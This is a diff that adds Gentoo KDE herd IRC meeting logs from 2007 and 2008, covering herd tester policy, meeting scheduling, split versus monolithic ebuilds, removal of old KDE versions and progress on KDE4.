+[Sa Okt 13 2007] [20:56:57] <cryos|laptop>	It has been a while :)
+[Sa Okt 13 2007] [20:57:08] <Philantrop>	So, do we want Herd Testers? I support the idea. Others?
+[Sa Okt 13 2007] [20:57:20] <cryos|laptop>	I think it works well and would support the idea.
+[Sa Okt 13 2007] [20:57:35] <jmbsvicetto>	cryos|laptop: s/would/will/ !!! ;)
+[Sa Okt 13 2007] [20:57:57] <Philantrop>	masterdriverz, tgurr: Your vote?
+[Sa Okt 13 2007] [20:58:04] <tgurr>	sure :)
+[Sa Okt 13 2007] [20:58:08] <cryos|laptop>	It is a great chance for people to get a bit of a taste of being a dev and decide if it is for them. Some only ever want the HT position and others drift away again,.
+[Sa Okt 13 2007] [20:58:43] <cryos|laptop>	Means when people go on to become devs they are usually more certain about actually wanting to do it too.
+[Sa Okt 13 2007] [20:58:56] <Philantrop>	Ok, so we have four "yes" (genstef, cryos|laptop, tgurr, Philantrop) and no objections. :-)
+[Sa Okt 13 2007] [20:59:04] <Philantrop>	cryos|laptop: Yes, sounds really good to me. :-)
+[Sa Okt 13 2007] [20:59:21] <Philantrop>	I'll talk to hparker about it.
+[Sa Okt 13 2007] [20:59:24] <genstef>	so we need some amendment to the project page about that, right?
+[Sa Okt 13 2007] [20:59:39] <Philantrop>	genstef: Yes, thanks for volunteering! ;)
+[Sa Okt 13 2007] [20:59:45] <genstef>	including the procedure of how a herd member goes about promoting someone to HT :)
+[Sa Okt 13 2007] [20:59:50] <genstef>	ok :)
+[Sa Okt 13 2007] [20:59:58] <jmbsvicetto>	genstef: You would add a section listing the HT members and some documentation on how to become one
+[Sa Okt 13 2007] [21:00:06] <genstef>	right
+[Sa Okt 13 2007] [21:00:29] <Philantrop>	genstef: So you'd be willing to make a draft for that? Maybe for the next meeting (or earlier)? :)
+[Sa Okt 13 2007] [21:00:30] <jmbsvicetto>	genstef: I'm probably going to have to do something similar for sparc ATs, so if you want, I can work with you on that
+[Sa Okt 13 2007] [21:01:02] <genstef>	jmbsvicetto: ok, cool!
+[Sa Okt 13 2007] [21:01:14] <genstef>	Philantrop: will send it to kde@gentoo.org then
+[Sa Okt 13 2007] [21:01:27] <Philantrop>	genstef, jmbsvicetto: Thanks, guys! I'll add that to the summary, too.
+[Sa Okt 13 2007] [21:01:44] <Philantrop>	Anything else, gentlemen?
+[Sa Okt 13 2007] [21:02:43] <jmbsvicetto>	Philantrop: About six-sigma, are we still interested in trying it on kde?
+[Sa Okt 13 2007] [21:02:55] <jmbsvicetto>	Philantrop: If so, do we leave that for a future meeting where NeddySeagoon can help?
+[Sa Okt 13 2007] [21:03:12] <Philantrop>	jmbsvicetto: Good question. Opinions?
+[Sa Okt 13 2007] [21:03:36] <tgurr>	six-sigma?
+[Sa Okt 13 2007] [21:04:07] <Philantrop>	tgurr: Oh, right. That was before your dev time. It's a process improvement thing.
+[Sa Okt 13 2007] [21:04:25] <Philantrop>	tgurr: I'll forward you a mail about it.
+[Sa Okt 13 2007] [21:04:47] <keytoaster>	re
+[Sa Okt 13 2007] [21:05:00] <Philantrop>	I'd say we invite Neddy to our next meeting and see about it then. Any objections?
+[Sa Okt 13 2007] [21:05:07] <tgurr>	Philantrop, thanks :)
+[Sa Okt 13 2007] [21:05:14] <Philantrop>	keytoaster: Welcome back! :-)
+[Sa Okt 13 2007] [21:05:27] <keytoaster>	:)
+[Sa Okt 13 2007] [21:05:29] <Philantrop>	Anything else?
+[Sa Okt 13 2007] [21:06:29] <Philantrop>	I'll make a summary of our meeting and export a log from Konversation. I'll mail it around to kde@g.o and if it's fine, I'll ask keytoaster to add it to our project page. Ok?
+[Sa Okt 13 2007] [21:06:33] <jmbsvicetto>	Philantrop: Maybe just a heads-up about next meeting date?
+[Sa Okt 13 2007] [21:06:39] <genstef>	Philantrop: thanks :)
+[Sa Okt 13 2007] [21:06:41] <jmbsvicetto>	Philantrop: sure
+[Sa Okt 13 2007] [21:07:08] <jmbsvicetto>	If I'm not mistaken, next meeting will take place at 13/11
+[Sa Okt 13 2007] [21:07:28] <Philantrop>	Ok, then. The next meeting will take place on November, 10th, 2007 at 18:00 UTC here in #gentoo-kde. :-) I'll mail reminders again and poke you guys on IRC whereever I find you. :-)
+[Sa Okt 13 2007] [21:08:04] <jmbsvicetto>	Sorry, 10/11
+[Sa Okt 13 2007] [21:08:15] <keytoaster>	Philantrop, uhm, could we do that on another date
+[Sa Okt 13 2007] [21:08:25] <Philantrop>	keytoaster: What's wrong with that date? :-)
+[Sa Okt 13 2007] [21:08:43] <keytoaster>	i just found out that my family visits my friend every second saturday of the month as well...
+[Sa Okt 13 2007] [21:09:02] <keytoaster>	so we'll probably be having dinner at this time, just like today
+[Sa Okt 13 2007] [21:09:14] <keytoaster>	so i will most likely never be able to attend the whole meeting
+[Sa Okt 13 2007] [21:09:17] <genstef>	first saturday then? :)
+[Sa Okt 13 2007] [21:09:22] <keytoaster>	fine for me
+[Sa Okt 13 2007] [21:09:28] <jmbsvicetto>	hehe
+[Sa Okt 13 2007] [21:09:32] <Philantrop>	!herd kde
+[Sa Okt 13 2007] [21:09:35] <jeeves>	Philantrop: (kde) caleb, carlo, centic, cryos, deathwing00, genstef, keytoaster, masterdriverz, mattepiu, philantrop, tgurr, troll, vanquirius
+[Sa Okt 13 2007] [21:09:45] <Philantrop>	Shall we move our meetings to the first Saturday each month?
+[Sa Okt 13 2007] [21:09:48] <jmbsvicetto>	first saturday is bug day, but fine with me ;)
+[Sa Okt 13 2007] [21:10:42] <Philantrop>	cryos|laptop, genstef, keytoaster, masterdriverz, tgurr? First Saturday each month from November on?
+[Sa Okt 13 2007] [21:10:51] <keytoaster>	yes
+[Sa Okt 13 2007] [21:11:07] <cryos|laptop>	Yes.
+[Sa Okt 13 2007] [21:11:17] <tgurr>	fine to me
+[Sa Okt 13 2007] [21:11:44] <jmbsvicetto>	Anyone objects having a note on the project page about the "usual" meeting time?
+[Sa Okt 13 2007] [21:12:01] <jmbsvicetto>	In case any interested party wants to follow the meetings
+[Sa Okt 13 2007] [21:12:12] <Philantrop>	If I didn't misread genstef he doesn't object to it either so that would be 5:0 in favour of moving it. :-)
+[Sa Okt 13 2007] [21:12:54] <Philantrop>	keytoaster: Could you add a note about the 1st Sat every month as our meeting time?
+[Sa Okt 13 2007] [21:13:28] <keytoaster>	yup
+[Sa Okt 13 2007] [21:13:53] <Philantrop>	It's decided then: The next meeting will take place on November, 3rd, 2007 at 18:00 UTC here in #gentoo-kde. :-)
+[Sa Okt 13 2007] [21:14:05] <keytoaster>	i'll do it as soon as i'm home
+[Sa Okt 13 2007] [21:14:12] <Philantrop>	keytoaster: Sure, no worries. :-)
+[Sa Okt 13 2007] [21:14:30] <Philantrop>	!herd kde
+[Sa Okt 13 2007] [21:14:31] <jeeves>	Philantrop: (kde) caleb, carlo, centic, cryos, deathwing00, genstef, keytoaster, masterdriverz, mattepiu, philantrop, tgurr, troll, vanquirius
+[Sa Okt 13 2007] [21:14:32] <Philantrop>	Anything else for tonight, guys?
+[Sa Okt 13 2007] [21:15:16] <jmbsvicetto>	Can't recall anything else
+[Sa Okt 13 2007] [21:15:37] <Philantrop>	Ok, thanks to all of your for attending. It's great this works and I really appreciate your feedback and help!
+[Sa Okt 13 2007] [21:15:46] <Philantrop>	s/your/you :-)
+[Sa Okt 13 2007] [21:15:52] <genstef>	Philantrop: well, I wonder about a kde lead? I think we decided last time about it, but cannot find anything on the project page?
+[Sa Okt 13 2007] [21:16:03] <Philantrop>	genstef: We didn't decide about it. :)
+[Sa Okt 13 2007] [21:16:30] <jmbsvicetto>	genstef: I think we decided to *not* decide ;)
+[Sa Okt 13 2007] [21:16:41] <Philantrop>	We could decide about it, of course.
+[Sa Okt 13 2007] [21:16:46] <genstef>	Philantrop: some note like "we do not have a lead: decisions can be made by everyone but it usually it is a good idea to ask philantrop because he is around and knowledgable"
+[Sa Okt 13 2007] [21:17:46] <jmbsvicetto>	I would like to propose we select a lead for kde and I want to suggest Philantrop
+[Sa Okt 13 2007] [21:17:46] <genstef>	anyways, not that important ..
+[Sa Okt 13 2007] [21:18:48] <jmbsvicetto>	Does anyone want to open up the election process?
+[Sa Okt 13 2007] [21:18:58] <genstef>	jmbsvicetto: totally against it
+[Sa Okt 13 2007] [21:19:05] <genstef>	we already decided on the matter :)
+[Sa Okt 13 2007] [21:19:13] <genstef>	it just needs to be reflected on the project page
+[Sa Okt 13 2007] [21:19:14] <jmbsvicetto>	Against the lead or the election? ;)
+[Sa Okt 13 2007] [21:19:19] <jmbsvicetto>	Ah, ok :)
+[Sa Okt 13 2007] [21:19:38] <genstef>	you said what we decided
+[Sa Okt 13 2007] [21:19:42] <jmbsvicetto>	:)
+[Sa Okt 13 2007] [21:19:51] <Philantrop>	genstef: We'll add the note as you suggested to the project page. :-)
+[Sa Okt 13 2007] [21:19:56] <jmbsvicetto>	keytoaster: Mind to add a note to the page? ;)
+[Sa Okt 13 2007] [21:20:11] <jmbsvicetto>	Philantrop: We should also send a mail to -core or -dev announcing it
+[Sa Okt 13 2007] [21:20:20] <keytoaster>	give me a complete text :)
+[Sa Okt 13 2007] [21:20:40] <genstef>	keytoaster: look a few lines a bove the long text.
+[Sa Okt 13 2007] [21:21:00] <Philantrop>	keytoaster: "We do not have a formal lead: Decisions can be made by every herd member but it usually is a good idea to ask philantrop because he is around and knowledgable."
+[Sa Okt 13 2007] [21:21:41] <keytoaster>	ah, k, thanks
+[Sa Okt 13 2007] [21:22:17] <Philantrop>	Ok, final call: Anything else? :-)
+[Sa Okt 13 2007] [21:22:18] <genstef>	possibly close to the members box
+[Sa Okt 13 2007] [21:22:34] <Philantrop>	keytoaster: Directly above the box, I'd say. :-)
+[Sa Okt 13 2007] [21:24:28] <tgurr>	I'm off then, ok?
+[Sa Okt 13 2007] [21:25:00] <Philantrop>	Ok, let's call this meeting closed! Thanks again! :-)
diff --git a/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-herd-meeting-log-20080306.txt b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-herd-meeting-log-20080306.txt
new file mode 100644
index 00000000..acda721d
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-herd-meeting-log-20080306.txt
@@ -0,0 +1,518 @@
+[Do Mär 6 2008] [20:30:29] <Philantrop>	!herd kde 
+[Do Mär 6 2008] [20:30:31] <jeeves>	Philantrop: (kde) caleb, carlo, cryos, deathwing00, genstef, ingmar, jmbsvicetto, keytoaster, masterdriverz, mattepiu, philantrop, tgurr, zlin
+[Do Mär 6 2008] [20:30:32] <Philantrop>	ping ^^^
+[Do Mär 6 2008] [20:30:37] <Ingmar>	evening :)
+[Do Mär 6 2008] [20:30:38] <deathwing00>	pong
+[Do Mär 6 2008] [20:30:50] <zlin>	:>
+[Do Mär 6 2008] [20:31:14] <ctennis>	ctennis == caleb
+[Do Mär 6 2008] [20:31:19] <tgurr>	meh
+[Do Mär 6 2008] [20:31:24] <Philantrop>	ctennis: Yes, thanks, I know. :-)
+[Do Mär 6 2008] [20:31:32] <ctennis>	just making sure everyone else did :)
+[Do Mär 6 2008] [20:32:05] <keytoaster>	bzzzzz
+[Do Mär 6 2008] [20:32:09] 	 * gentoofan23 guessed
+[Do Mär 6 2008] [20:33:02] <Philantrop>	jmbsvicetto, masterdriverz, genstef around? :-)
+[Do Mär 6 2008] [20:33:11] 	 * cryos|laptop had no clue...
+[Do Mär 6 2008] [20:33:22] Mode	ChanServ gives channel operator privileges to deathwing00.
+[Do Mär 6 2008] [20:33:28] Mode	deathwing00 gives channel operator privileges to you.
+[Do Mär 6 2008] [20:33:34] Mode	deathwing00 gives masterdriverz the permission to talk.
+[Do Mär 6 2008] [20:34:20] <Philantrop>	Ok, let's start guys! :-) First on the agenda is the bump to 3.5.9 which was somewhat, bumpy... ;)
+[Do Mär 6 2008] [20:34:24] Mode	deathwing00 gives ctennis the permission to talk.
+[Do Mär 6 2008] [20:34:44] <Philantrop>	deathwing00: Thanks, but this will be open floor anyway. :-)
+[Do Mär 6 2008] [20:34:50] <deathwing00>	ok
+[Do Mär 6 2008] [20:35:29] <Philantrop>	We have one major issue open: Split and monotlithic ebuilds. Split ebuilds depend hard on split dependencies and won't accept monolithic ebuilds. 
+[Do Mär 6 2008] [20:35:45] <Philantrop>	Some of us want to change that, some others don't. Your opinions?
+[Do Mär 6 2008] [20:36:33] <gentoofan23>	Well, doesn't it depend on the program? Some could do a || dep on split/monolithic and some can't, right?
+[Do Mär 6 2008] [20:37:25] <Philantrop>	gentoofan23: No, not really as basically any monolithic ebuild would install what its split packages would.
+[Do Mär 6 2008] [20:37:43] <Philantrop>	But we're talking about kde-base/* only here. 
+[Do Mär 6 2008] [20:38:10] <deathwing00>	My opinion is that we should opt to drop monolithic ebuilds for the following reasons: 1) Applying security fixes and patches to a split ebuild implies less development and maintenance effort, which in turn 2) implies less compilation on users and 3?) if I remember correctly KDE 4 was going to drop monolithic components (how's that by the way?)
+[Do Mär 6 2008] [20:38:46] <keytoaster>	++
+[Do Mär 6 2008] [20:38:48] <Ingmar>	KDE 4 has had them dropped already
+[Do Mär 6 2008] [20:38:53] <Philantrop>	!bug 211116
+[Do Mär 6 2008] [20:38:55] <jeeves>	Philantrop: https://bugs.gentoo.org/211116 maj, P2, All, infoman1985@gmail.com->kde@gentoo.org, REOPENED, pending, kde-base/*-3.5.9 split packages can't be mixed with kde-base/*-3.5.9 monolithic packages.
+[Do Mär 6 2008] [20:38:55] <jeeves>	Philantrop: https://bugs.gentoo.org/211116 maj, P2, All, infoman1985@gmail.com->kde@gentoo.org, REOPENED, pending, kde-base/*-3.5.9 split packages can't be mixed with kde-base/*-3.5.9 monolithic packages.
+[Do Mär 6 2008] [20:39:15] <Philantrop>	^^^ That's the bug. 
+[Do Mär 6 2008] [20:39:29] <Ingmar>	but I disagree, dropping monolithic :3.5 ebuilds is a regression imho, besides, some slow arches only have those keyworded, and I see no reason to force a change upon them on a version of KDE that's getting EOL'ed soon
+[Do Mär 6 2008] [20:40:12] <tgurr>	mixing splits and monolithic was never supported by us anyways, was it? possible yes.. sadly :)
+[Do Mär 6 2008] [20:40:15] <zlin>	I'm with Ingmar on this one
+[Do Mär 6 2008] [20:40:31] <Philantrop>	I'd like to keep it the way it is as only a few users even complained and most jsut switched to split ebuilds. :-)
+[Do Mär 6 2008] [20:40:49] 	 * Philantrop scribbles two names into his little black book... ;-)
+[Do Mär 6 2008] [20:40:55] <Ingmar>	well, other users apparently care enough to attach a partial patch
+[Do Mär 6 2008] [20:41:03] <deathwing00>	we are not planning on offering monolithic ebuilds on KDE 4, are we?
+[Do Mär 6 2008] [20:41:04] <zlin>	tgurr: it used to be possible through the eclasses. 3.5.9 uses EAPI=1 and thus doesn't use those eclass functions anymore...
+[Do Mär 6 2008] [20:41:11] <Philantrop>	deathwing00: Nope. :-)
+[Do Mär 6 2008] [20:41:17] <jmbsvicetto>	pong
+[Do Mär 6 2008] [20:41:20] <jmbsvicetto>	sorry, just got home
+[Do Mär 6 2008] [20:41:22] <Ingmar>	and it doesn't make sense for a user that kdebase + kdenetwork works, but kdebase + kopete doesn't
+[Do Mär 6 2008] [20:41:30] <Philantrop>	jmbsvicetto: No problem. Thanks for being here. 
+[Do Mär 6 2008] [20:41:36] <gentoofan23>	I object as some boxes I maintain use monolithic and it'd be a huge pain to switch to split. I imagine many others would feel pain to
+[Do Mär 6 2008] [20:41:48] <Ingmar>	and that's a good point too
+[Do Mär 6 2008] [20:41:49] <deathwing00>	If we are to not provide it on KDE 4, we can let it be for now, I guess
+[Do Mär 6 2008] [20:41:55] <Ingmar>	converting = lots of useless work
+[Do Mär 6 2008] [20:42:15] <zlin>	gentoofan23: the problem is mixing. not all splits or all monos.
+[Do Mär 6 2008] [20:42:34] <deathwing00>	make all splits block all monos and vice-versa
+[Do Mär 6 2008] [20:42:52] <zlin>	that's essentially what we have now
+[Do Mär 6 2008] [20:42:58] <deathwing00>	 "you want a full mono, you got -meta"
+[Do Mär 6 2008] [20:43:06] <deathwing00>	I agree on that one
+[Do Mär 6 2008] [20:43:35] <deathwing00>	zlin: is it correctly implemented or are we missing something?
+[Do Mär 6 2008] [20:43:46] <Philantrop>	Ok, let's try a slightly different approach - is anyone here willing to change what we have now? :-)
+[Do Mär 6 2008] [20:43:59] 	 * Philantrop looks at Ingmar and zlin. *g*
+[Do Mär 6 2008] [20:44:32] <deathwing00>	we can sort of vote if necessary
+[Do Mär 6 2008] [20:44:36] <Ingmar>	Guess that means that I'll do it
+[Do Mär 6 2008] [20:44:49] <Ingmar>	Sure you can vote, but unless you convince me *not* to do it, it's going to happen though :>
+[Do Mär 6 2008] [20:45:18] Join	mikb has joined this channel (n=mikb@c211-31-30-148.belrs4.nsw.optusnet.com.au).
+[Do Mär 6 2008] [20:45:19] <deathwing00>	Ingmar: I missed something in here... what is gonna happen?
+[Do Mär 6 2008] [20:45:20] <Philantrop>	deathwing00: Well, I've already recorded opinions. At the moment, we're stuck at 2:2 but if Ingmar volunteers, why not. :-)
+[Do Mär 6 2008] [20:45:37] <deathwing00>	Philantrop: ok, got it
+[Do Mär 6 2008] [20:45:43] Quit	mikb has left this server (Client Quit).
+[Do Mär 6 2008] [20:45:53] <zlin>	\o/
+[Do Mär 6 2008] [20:45:54] <Philantrop>	deathwing00: What Ingmar wants to do is allowing users to mix 3.5.9 splits and monos again. I'm not too strongly against it. :-)
+[Do Mär 6 2008] [20:46:02] <Ingmar>	It's simply stupid to force monolithic users to switch
+[Do Mär 6 2008] [20:46:38] <Philantrop>	Ingmar: Well, considering that they will have to switch for KDE4 anyway, it wouldn't be too bad, I think, but since you volunteered... :-)
+[Do Mär 6 2008] [20:46:43] <zlin>	arfie's patch shows what's we want to change.. might not be complete but you get the idea...
+[Do Mär 6 2008] [20:46:48] <jmbsvicetto>	As I've told others before, I agree that the problems caused by mixing splits/monos is reason enough to have splits hard dep on split
+[Do Mär 6 2008] [20:47:11] <jmbsvicetto>	But if Ingmar wants to support it, let him
+[Do Mär 6 2008] [20:47:27] <Philantrop>	jmbsvicetto: Well, a thing Ingmar brought up elsewhere, we might run into even more bug reports now. :)
+[Do Mär 6 2008] [20:47:39] <jmbsvicetto>	Ingmar: If anyone else is willing to help you, you might want ot use an overlay to do that work
+[Do Mär 6 2008] [20:47:45] <deathwing00>	Philantrop: so who is 'yeah' and who is 'nay'?
+[Do Mär 6 2008] [20:48:15] <jmbsvicetto>	deathwing00: I'm a yeay/neah ;)
+[Do Mär 6 2008] [20:48:20] <deathwing00>	hehe
+[Do Mär 6 2008] [20:48:30] 	 * gentoofan23 isn't sure if he can vote, so he abstains. :). That's rather paradoxical though 
+[Do Mär 6 2008] [20:48:36] <Philantrop>	deathwing00: I've recorded you as "nay" to mixing, me too, jmbsvicetto undecided. Ingmar and zlin "yay". :-)
+[Do Mär 6 2008] [20:48:44] <deathwing00>	ok
+[Do Mär 6 2008] [20:48:51] 	 * cryos|laptop is nay...
+[Do Mär 6 2008] [20:48:54] <deathwing00>	jmbsvicetto: decide already
+[Do Mär 6 2008] [20:49:17] <Philantrop>	cryos|laptop: Just to be sure: "Nay" to mixing splits and monos in 3.5.9?
+[Do Mär 6 2008] [20:49:23] <cryos|laptop>	Yep
+[Do Mär 6 2008] [20:49:23] <jmbsvicetto>	Ingmar: If you do that work on an overlay, I can try to help on "a few" ebuilds - no promises though
+[Do Mär 6 2008] [20:49:45] <Philantrop>	cryos|laptop: Thanks, noted. Anything you could add to make Ingmar see the light? ;-)
+[Do Mär 6 2008] [20:50:16] <cryos|laptop>	Philantrop: Just that it really does not seem worth the effort, we looked at this in the beginning when splits were introduced..
+[Do Mär 6 2008] [20:50:26] <jmbsvicetto>	deathwing00: My view is that allowing that is a good thing, but I understand if we decide otherwise. In any case, I can't commit that to the tree. I can try to help on an overlay though
+[Do Mär 6 2008] [20:50:48] <zlin>	carlo is clearly a "yay" too and it was supported till 3.5.8
+[Do Mär 6 2008] [20:50:52] <cryos|laptop>	If he wants to do it I think he should try it but I wouldn't spend my time trying to fix that personally. It seems tough to get it right and I wonder where the pay off is.
+[Do Mär 6 2008] [20:51:27] 	 * cryos|laptop has been largely AFK in recent months though - desktop in a US customs area in New York still :-(
+[Do Mär 6 2008] [20:51:46] <Philantrop>	cryos|laptop: That's annyoing. :-(
+[Do Mär 6 2008] [20:52:04] <Philantrop>	Ok, se can we settle this by saying Ingmar may fix it if he wants? :-)
+[Do Mär 6 2008] [20:52:05] <deathwing00>	I have another argument that you could consider, if we add this for 3.5.9 and then it exists no longer to KDE 4, won't the users be forced into monolithic anyway?
+[Do Mär 6 2008] [20:52:14] <cryos|laptop>	Yeah - delays, delays and more delays. Do have my Gentoo laptop working with KDE4 and 3.5.9 though.
+[Do Mär 6 2008] [20:52:26] <Philantrop>	deathwing00: To split ebuilds, yes.
+[Do Mär 6 2008] [20:52:37] <Philantrop>	cryos|laptop: At least something. :-)
+[Do Mär 6 2008] [20:52:48] <deathwing00>	Philantrop: yeah, that's what I meant
+[Do Mär 6 2008] [20:52:52] <zlin>	deathwing00: that's a different SLOT though so it doesn't matter all that much imo
+[Do Mär 6 2008] [20:52:59] <jmbsvicetto>	Philantrop: I agree with that
+[Do Mär 6 2008] [20:53:15] Quit	ZeRoX has left this server (Client Quit).
+[Do Mär 6 2008] [20:53:19] <jmbsvicetto>	IIRC, the move forward is another point on this discussion
+[Do Mär 6 2008] [20:53:32] <deathwing00>	zlin: I understand, but it might be a needless effort, we could focus our efforts elsewhere, m¢ :)
+[Do Mär 6 2008] [20:53:39] <Philantrop>	Ok, final call for violent objections against Ingmar changing it. :-)
+[Do Mär 6 2008] [20:53:48] <deathwing00>	no veto here
+[Do Mär 6 2008] [20:54:07] <zlin>	deathwing00: that just means it's low priority.. :)
+[Do Mär 6 2008] [20:54:16] <deathwing00>	zlin: agreed
+[Do Mär 6 2008] [20:54:22] <Philantrop>	Ok, any other points that should be brought up for the past 3.5.9 version bump?
+[Do Mär 6 2008] [20:55:10] <Philantrop>	Ok, topic 2: KDE 3.5.8 is stable now and will be in the 2008.0 release. :-)
+[Do Mär 6 2008] [20:55:10] <gentoofan23>	I have a point(slightly related). Is there anything wrong with keeping the old stable around a little longer(3.5.7 specifically)?
+[Do Mär 6 2008] [20:55:34] <Philantrop>	gentoofan23: Well, what's wrong with removing it after a newer one has gone stable?
+[Do Mär 6 2008] [20:56:15] Join	ZeRoX has joined this channel (n=zerox@nelug/developer/zer0x).
+[Do Mär 6 2008] [20:56:16] <Ingmar>	Well, we don't intend to support 5 versions of KDE
+[Do Mär 6 2008] [20:56:38] <gentoofan23>	Philantrop: Stable users only had 19 days(iirc) to upgrade before 3.5.7 got booted. It bit me in that I needed to install a specific aspect of Kde and only 3.5.8 was available. So I had to upgrade all of kdelibs,base to get that new portion
+[Do Mär 6 2008] [20:57:11] <zlin>	given that we have a newer version which we know is way better, fixes tons of bugs and noone neither upstream nor downstream want to support the old version...
+[Do Mär 6 2008] [20:57:26] <gentoofan23>	Ingmar: I'm not suggesting that, I'm suggesting keeping it around a bit longer. 19 days is a little short
+[Do Mär 6 2008] [20:57:30] <Ingmar>	I honestly don't see why we'd keep old stable versions around when never, better stable ebuilds are available
+[Do Mär 6 2008] [20:57:33] <Ingmar>	it isn't
+[Do Mär 6 2008] [20:57:42] <Philantrop>	gentoofan23: Well, yes, I would have thought two weeks were enough to update. It was even for my old Alpha workstation with 233 MHz. :)
+[Do Mär 6 2008] [20:58:16] <gentoofan23>	eh, I was a little busy. but granted that, I concede my point I guess
+[Do Mär 6 2008] [20:58:22] <Philantrop>	gentoofan23: What would have been long enough for you?
+[Do Mär 6 2008] [20:58:35] <Philantrop>	(Under normal circumstances.)
+[Do Mär 6 2008] [20:58:41] <jmbsvicetto>	Philantrop: This falls down to the discussion between maintainers/ats about whether old working versions shold be kept around or not
+[Do Mär 6 2008] [20:58:55] <gentoofan23>	Philantrop: maybe 45 days?
+[Do Mär 6 2008] [20:59:07] <Philantrop>	gentoofan23: How about 30? :-)
+[Do Mär 6 2008] [20:59:15] 	 * Philantrop emulates a bazaar. ;-)
+[Do Mär 6 2008] [20:59:19] <gentoofan23>	Philantrop: even that'd be ok I guess
+[Do Mär 6 2008] [20:59:19] <deathwing00>	30 sounds more reasonable to me
+[Do Mär 6 2008] [20:59:25] Join	NeddySeagoon has joined this channel (n=NeddySea@gentoo/developer/NeddySeagoon).
+[Do Mär 6 2008] [20:59:25] Mode	ChanServ gives NeddySeagoon the permission to talk.
+[Do Mär 6 2008] [20:59:30] <jmbsvicetto>	Philantrop: I agree that for maintainers it makes sense to kick old versions - in particular for a project with as many ebuilds as kde
+[Do Mär 6 2008] [20:59:30] <gentoofan23>	19 is rather unreasonable to me.
+[Do Mär 6 2008] [20:59:41] <deathwing00>	yay to 30 days by me then
+[Do Mär 6 2008] [20:59:54] <Philantrop>	jmbsvicetto: That's why we did it, indeed. :-)
+[Do Mär 6 2008] [21:00:08] <gentoofan23>	hey, Kubuntu is still supporting a KDE from 3 years ago :-P
+[Do Mär 6 2008] [21:00:08] <Philantrop>	And Ingmar stole all those commits from me! ;-)
+[Do Mär 6 2008] [21:00:19] <jmbsvicetto>	hehe
+[Do Mär 6 2008] [21:00:38] <Philantrop>	gentoofan23: 30 days are ok then? :-)
+[Do Mär 6 2008] [21:00:40] <Ingmar>	So next time Philantrop will be so pressed to get thsoe commits, it won't even be 19 days :>
+[Do Mär 6 2008] [21:00:57] <gentoofan23>	Philantrop: yeah, it should be. Of course, I don't use mips :p
+[Do Mär 6 2008] [21:01:21] <jmbsvicetto>	gentoofan23: It doesn't matter anymore. mips has gone the unstable road
+[Do Mär 6 2008] [21:01:35] <gentoofan23>	jmbsvicetto: Oh yes, that is true
+[Do Mär 6 2008] [21:01:37] <Philantrop>	Ok, anything else on the bump or 3.5.8 in the upcoming release?
+[Do Mär 6 2008] [21:01:49] <jmbsvicetto>	gentoofan23: From now on, mips needs to keyword a version at least until everyone marks it stable
+[Do Mär 6 2008] [21:02:00] <Ingmar>	they already did
+[Do Mär 6 2008] [21:02:03] <Ingmar>	monolithic 3.5.9
+[Do Mär 6 2008] [21:02:10] <jmbsvicetto>	Ingmar: ok
+[Do Mär 6 2008] [21:02:11] 	 * Philantrop sobs
+[Do Mär 6 2008] [21:02:21] 	 * Philantrop sees his ebuilds tainted. ;-)
+[Do Mär 6 2008] [21:02:30] <jmbsvicetto>	Philantrop: :)
+[Do Mär 6 2008] [21:02:31] <Ingmar>	or he didn't, but he's going to, any time soon :)
+[Do Mär 6 2008] [21:03:01] <Philantrop>	Ok, anything else on the bump or 3.5.8 in the upcoming release? (Final call)
+[Do Mär 6 2008] [21:03:31] <Philantrop>	Great. gentoofan23 already brought up topic 3 - Removal of KDE < 3.5.8 from the tree. :-)
+[Do Mär 6 2008] [21:04:02] <Philantrop>	Ingmar kindly killed 3.5.5 to 3.5.7. So we don't have to worry about those anymore. :-)
+[Do Mär 6 2008] [21:04:05] <gentoofan23>	uh, I swear I didn't see that on the agenda.
+[Do Mär 6 2008] [21:04:08] 	 * gentoofan23 hides
+[Do Mär 6 2008] [21:04:09] <zlin>	so that's done. next! :>
+[Do Mär 6 2008] [21:05:04] <Philantrop>	Well, I guess since zlin has a hot date with a rubber doll, we should move on to topic 4 - State of KDE4 in the tree. ;-)
+[Do Mär 6 2008] [21:05:24] <tgurr>	Oo
+[Do Mär 6 2008] [21:05:34] <Philantrop>	Ingmar, zlin: Let's hear - what's in the tree, when's 4.0.2 going in? :-)
+[Do Mär 6 2008] [21:05:54] <zlin>	well, as such the ebuilds in the tree are in a pretty good state. the deps need to be updated for compatibility with the newly introduced split qt-4.4 ebuilds and it needs to be bumped to 4.0.2 (only kdebase and games have been bumped thus far)...
+[Do Mär 6 2008] [21:05:54] <Philantrop>	Ingmar, zlin: And: What's the state of KDE 4.0.2 by your findings? :-)
+[Do Mär 6 2008] [21:06:07] <Ingmar>	Well, some time this weekend, so far we've been busy with the newer Qt
+[Do Mär 6 2008] [21:06:40] <Philantrop>	And the two of you did a great job with Qt, I'd say. :)
+[Do Mär 6 2008] [21:06:43] <zlin>	honestly I haven't had a lot of time to use 4.0.2 yet.. but it'll come in the following days.
+[Do Mär 6 2008] [21:06:48] <jmbsvicetto>	Ingmar / zlin: Can I start working on kdenetwork?
+[Do Mär 6 2008] [21:06:55] <zlin>	jmbsvicetto: certainly
+[Do Mär 6 2008] [21:06:58] <Ingmar>	jmbsvicetto: Yes, please :)
+[Do Mär 6 2008] [21:07:01] <jmbsvicetto>	ok
+[Do Mär 6 2008] [21:07:07] <jmbsvicetto>	Do you want me to look at anything else?
+[Do Mär 6 2008] [21:07:14] <zlin>	any help with bumping it will be appreciated
+[Do Mär 6 2008] [21:07:46] <gentoofan23>	eh, I'd help but amd64 AT's need a stable system. :(
+[Do Mär 6 2008] [21:07:46] <Ingmar>	Right, and that goes for bug reports too :)
+[Do Mär 6 2008] [21:07:51] <jmbsvicetto>	I've updated my amd64 and x86 to 4.0.2 during the night, so I can start working on kdenetwork after the meeting
+[Do Mär 6 2008] [21:08:11] <gentoofan23>	maybe I'll be able to do it,  but don't expect much :)
+[Do Mär 6 2008] [21:08:27] <gentoofan23>	s/do/help/
+[Do Mär 6 2008] [21:08:31] <Philantrop>	As for zlin's plea for help: Anyone who wants to help should simply mail me his ssh public key. Interested users who can show they're able and willing to work on ebuilds are *explicitly* invited, too. :-)
+[Do Mär 6 2008] [21:09:29] <Philantrop>	The bump to 4.0.2 is taking place in a git overlay again to allow for non-ebuild devs to participate, too, and it's a great way to become a full dev as Ingmar and zlin can verify. :-)
+[Do Mär 6 2008] [21:09:48] <Ingmar>	:)
